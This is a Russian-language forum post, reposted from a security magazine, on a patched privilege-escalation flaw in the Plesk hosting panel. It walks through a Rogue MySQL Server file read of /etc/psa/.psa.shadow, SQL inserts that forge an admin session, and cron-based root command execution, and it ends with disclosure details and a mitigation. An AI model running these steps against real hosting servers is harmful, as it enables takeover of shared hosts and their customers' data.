• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Атака на хостинг. Как я раскрутил эскалацию привилегий в Plesk

pablo

(L2) cache
Пользователь
Регистрация
01.02.2019
Сообщения
433
Реакции
1 524
Атака на хостинг. Как я раскрутил эскалацию привилегий в Plesk

Рут на shared-хостинге — не обязательно публичная уязвимость в ядре Linux. В этой статье будет разобрана уязвимость в популярной хостинг-панели Plesk, позволяющая повысить привилегии на хостинговом сервере и получить доступ ко всем соседям.

Чтобы предоставлять услуги хостинга сайтов, в наше время недостаточно веб-сервера и аккаунта на FTP. Существует несколько популярных панелей, которые позволяют без трудностей развернуть и поддерживать сайт даже неопытному пользователю. Там есть файловый менеджер, текстовый редактор, интерфейс для управления базами данных, выбор версии PHP и все, что может понадобиться пользователю хостинга.

Одна из таких панелей — Plesk. Эта панель используется хостинг-провайдерами по всему миру, включая таких гигантов, как GoDaddy. Взлом хостинга может обернуться серьезными последствиями — например, известен случай, когда злоумышленники взломали хостера, зашифровали все данные и требовали за них миллион долларов.

Уязвимость, о которой я хочу рассказать, — это чтение файлов с повышенными привилегиями с помощью атаки Rogue MySQL Server. Она в итоге обернулась эскалацией привилегий.


Стенд

Итак, самое время надеть белую шляпу и приступать к ресерчу. Основная часть Plesk написана на PHP. Plesk бывает под Windows Server и Linux, нас интересует последний. Для стенда проще всего использовать локальную виртуалку или VPS c Ubuntu 16.04 на борту. Для начала загружаем инсталлятор и даем права на исполнение.
Bash:
$ wget 'http://installer.plesk.com/plesk-installer'
$ chmod +x plesk-installer
Помимо привычной тебе системы обновлений через версии, в Plesk имеется еще и такая вещь, как микроапдейты (Micro-Updates). Это, по сути, патчи к исходникам на PHP, при накатывании которых версия панели остается неизменной. Уязвимость, о которой мы поговорим, была устранена с помощью такого апдейта, поэтому инсталлер нужно запускать с флагом skip-patch, и тогда фикс, закрывающий уязвимость, не применится.
Bash:
$ sudo ./plesk-installer --skip-patch
Далее в интерактивном меню нужно подтвердить установку, выбрать рекомендуемые параметры, и можно спокойно попивать кофе, пока все сетапится. После того как все установилось, в консоль будет выведен линк, пройдя по которому ты сможешь создать учетку админа. Там же можно активировать пятнадцатидневный триал, которого вполне хватает для наших темных исследовательских дел.
Plesk имеет хороший CLI-API, которым мы и воспользуемся, чтобы не возиться с вебом. В лучших традициях Unix настроим все, не покидая терминала.
Для начала создадим пользователя с минимальными привилегиями и добавим ему домен.
Bash:
$ PLSK_SITE_IP=$(sudo plesk bin ipmanage -l | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | head -n 1)
$ sudo plesk bin customer --create researcher -name "russian bear" -passwd "SamPle123!" -notify false
$ sudo plesk bin subscription -c example.com -owner researcher -service-plan "Default Domain" -ip $PLSK_SITE_IP -login researcher -passwd "SamPle123!"
Еще нам понадобится база данных. Создадим MySQL юзера и базу.
Bash:
$ sudo plesk bin database --create testdb -domain example.com -type mysql
$ sudo plesk bin database --create-dbuser testuser -passwd "SamPle123!" -domain example.com -server localhost:3306 -database testdb
Тестовый стенд готов. Залогиниться в панель от созданного юзера researcher можно по адресу https://{YOUR_IP}:8443/. Полученный нами минимальный набор функций будет доступен на любом хостинге с Plesk.


Анализ уязвимости

Интерес представляют функции управления базами данных. Plesk имеет любопытную фичу, которая позволяет копировать базы данных не только локально, но и на внешние хосты. Именно здесь кроется уязвимость.
plib/DatabaseManagerMySQL.php
PHP:
private function _mysql_connect($host, $port, $login, $password, $dbname = null)
{
    $connection = @new mysqli($host, $login, $password, $dbname, $port);
    if (!$connection || mysqli_connect_errno()) {
        throw new PleskUserDBException(
            mysqli_connect_error(), mysqli_connect_errno(),
            'mysql', $this->getErrorType(mysqli_connect_errno())
        );
    }
    return $connection;
}
Чтобы получить исходники панели, пришлось здорово поработать над деобфускацией, но об этом как-нибудь в другой раз. При копировании базы данных на внешний хост приложение использовало стандартный для PHP клиент mysqlnd, где по умолчанию опция local_infileравна единице, и это как раз и открывает дорогу к созданию читалки файлов.
plsk_db_copy.png


Чтобы проэксплуатировать уязвимость, сперва нужно развернуть Rogue MySQL Server. Далее идем в Databases → Copy и копируем базу в наш Rogue MySQL сервер.

plsk_rogue_passwd.jpg


После чего получаем указанный файл. На этом анализ можно завершать и приступать к следующей части.


Повышаем привилегии

Обнаружить уязвимость — это всего полдела, ведь ее еще нужно суметь проэксплуатировать. Прочитать passwd, имея хостинговый аккаунт, можно с легкостью и без перечисленных выше манипуляций.
Сначала нужно выяснить, с какими привилегиями работает читалка файлов. Здесь нам поможет псевдофайловая система /proc, а именно чтение файла /proc/self/status, в котором содержится много полезной информации о текущем процессе.
plsk_rogue_uid.jpg


В этом файле есть уникальный ID системного юзера — UID. Теперь, чтобы узнать пользователя, от имени которого мы можем читать файлы, достаточно открыть passwd и найти там соответствующую запись с нужным UID. В моем случае UID 999 — это юзер psaadm, от имени которого работает панель.
На ум сразу приходит читать конфигурационные файлы. Ведь должна же панель откуда-то брать креды к такому большому количеству сервисов. Полистав конфиги, я задался вопросом — а откуда, собственно, панель берет информацию для доступа к MySQL? Оказалось, что суперъюзер базы данных имеет логин admin, а пароль к нему лежит в файле /etc/psa/.psa.shadow.
Bash:
$ ls -l /etc/psa/.psa.shadow
-rw------- 1 psaadm psaadm 62 Apr 22 19:14 /etc/psa/.psa.shadow
Как видим, этот файл доступен на чтение и запись только юзеру psaadm. Читаем его с помощью Rogue MySQL и получаем рутовый доступ к БД. На этом этапе мы видим все базы, что уже дает массу возможностей для дальнейших атак на соседей. Но нам интересен рут на всем сервере, поэтому двигаемся дальше.

plesk_psa_db.png


Для своих нужд Plesk тоже использует базу данных с именем psa на этом же сервере MySQL. Бегло осмотрев базу, я заприметил таблицы sessions и SessionContexts. Туда пишутся все сессии залогиненных юзеров. Ты, наверное, скажешь: «Инсерть скорее же сессию админа, и дело в шляпе!» Однако, как ты можешь заметить, помимо логина и session ID, панель пишет еще много уникальных сериализованных данных, которые не всегда можно просто скопипастить. Давай разберемся, что происходит в базе на момент логина юзера admin.
Для этого включим логирование запросов в файл.
Bash:
$ sudo touch /var/log/mq_query && sudo chown mysql:mysql /var/log/mq_query
$ sudo plesk db "SET GLOBAL general_log_file = '/var/log/mq_query'"
$ sudo plesk db "SET GLOBAL general_log = 'ON'"
Логинимся от админа в Plesk и смотрим запросы с INSERT.
Bash:
$ cat /var/log/mq_query
...
2019-04-25T11:58:17.627569Z 46870 Query INSERT INTO `sessions` (`sess_id`, `type`, `login`, `ip_address`, `login_time`, `modified`, `lifetime`) VALUES ('057780ebb02bb81977adccf2dc481a79', '1', 'admin', '87.76.241.179', '1556193497', '1556193497', '1800')
2019-04-25T11:58:17.632226Z 46870 Query INSERT INTO `SessionContexts` (`contextId`, `sessionId`, `data`) VALUES ('057780ebb02bb81977adccf2dc481a79', '057780ebb02bb81977adccf2dc481a79', 'a:2:{s:4:\"auth\";a:1:{s:4:\"type\";i:1;}s:5:\"panel\";a:1:{s:22:\"forgeryProtectionToken\";s:32:\"7292742a7d286591eddb828c314f25b4\";}}')
Итак, чтобы получить сессию админа, нужно загрузить на хостинговый аккаунт скрипт на PHP, который подключится к БД от имени пользователя admin и выполнит два простых инсерта.
Код:
INSERT INTO `sessions` (`sess_id`, `type`, `login`, `ip_address`, `login_time`, `modified`, `lifetime`) VALUES ('057780ebb02bb81977adccf2dc481a79', '1', 'admin', '<YOUR_IP>', NOW(), NOW(), '1800');
INSERT INTO `SessionContexts` (`contextId`, `sessionId`, `data`) VALUES ('057780ebb02bb81977adccf2dc481a79', '057780ebb02bb81977adccf2dc481a79', 'a:2:{s:4:\"auth\";a:1:{s:4:\"type\";i:1;}s:5:\"panel\";a:1:{s:22:\"forgeryProtectionToken\";s:32:\"7292742a7d286591eddb828c314f25b4\";}}');
Подставляй новоиспеченную сессию себе в куки, и вуаля, ты админ. А для того, чтобы выполнить любую команду от рута, достаточно зайти в планировщик задач и записать в крон нужный пейлоад.
Подведем итоги. Чтобы заполучить рут на хостинговом сервере с панелью Plesk, нужно сделать следующее.
  1. С помощью Rogue MySQL Server прочитать пароль от рутового юзера базы данных в файле /etc/psa/.psa.shadow.
  2. Загрузить скрипт на PHP, с помощью которого можно будет подключиться к базе данных от рут-пользователя.
  3. Записать сессию админа и подставить ее в cookies браузера.

Демонстрация уязвимости (видео)



Выводы
Прежде всего хочу отметить оперативную и слаженную работу безопасников Plesk. После того как я им отправил репорт, уязвимость быстро устранили в следующих версиях:
  • 17.8.11 MU#34 от 10 декабря 2018 года;
  • 17.5.3 MU#63 от 10 декабря 2018 года;
  • 17.0.17 MU#61 от 17 декабря 2018 года;
  • 12.5.30 MU#78 от 10 декабря 2018 года;
  • 12.0.18 MU#104 от 24 декабря 2018 года.
На сегодняшний день большая часть клиентов MySQL уязвимы, и устранять вектор Rogue MySQL Server пока никто не торопится. Так что, похоже, такие уязвимости будут всплывать еще долго. Чтобы обезопасить себя от подобных проблем, стоит ввести простое правило: если твое приложение коннектится к хосту, который не localhost, — убедись, что опция local-infile равна нулю.


Автор: Филипп Охонько
взято с хакер.ру
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх